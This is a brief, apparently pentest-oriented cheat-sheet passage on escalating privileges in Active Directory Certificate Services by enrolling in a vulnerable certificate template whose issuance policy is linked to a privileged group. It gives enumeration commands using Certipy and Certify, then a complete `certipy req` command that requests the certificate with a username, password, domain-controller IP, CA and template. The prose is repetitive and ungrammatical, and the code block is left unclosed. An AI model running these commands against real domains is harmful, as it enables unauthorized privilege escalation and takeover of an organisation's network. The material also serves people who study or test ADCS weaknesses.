All you need to do just specify the template, you will get a certificate with OIDToGroupLink rights.
Find a user permission it can use `certipy find` or `Certify.exe find /showAllPermissions`.
If `John` have have permission to enroll `VulnerableTemplate`, the user can inherit the privileges of `VulnerableGroup` group.
All it need to do just specify the template, it will get a certificate with OIDToGroupLink rights.
```bash
certipy req -u "mane@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'Vulnerable template'
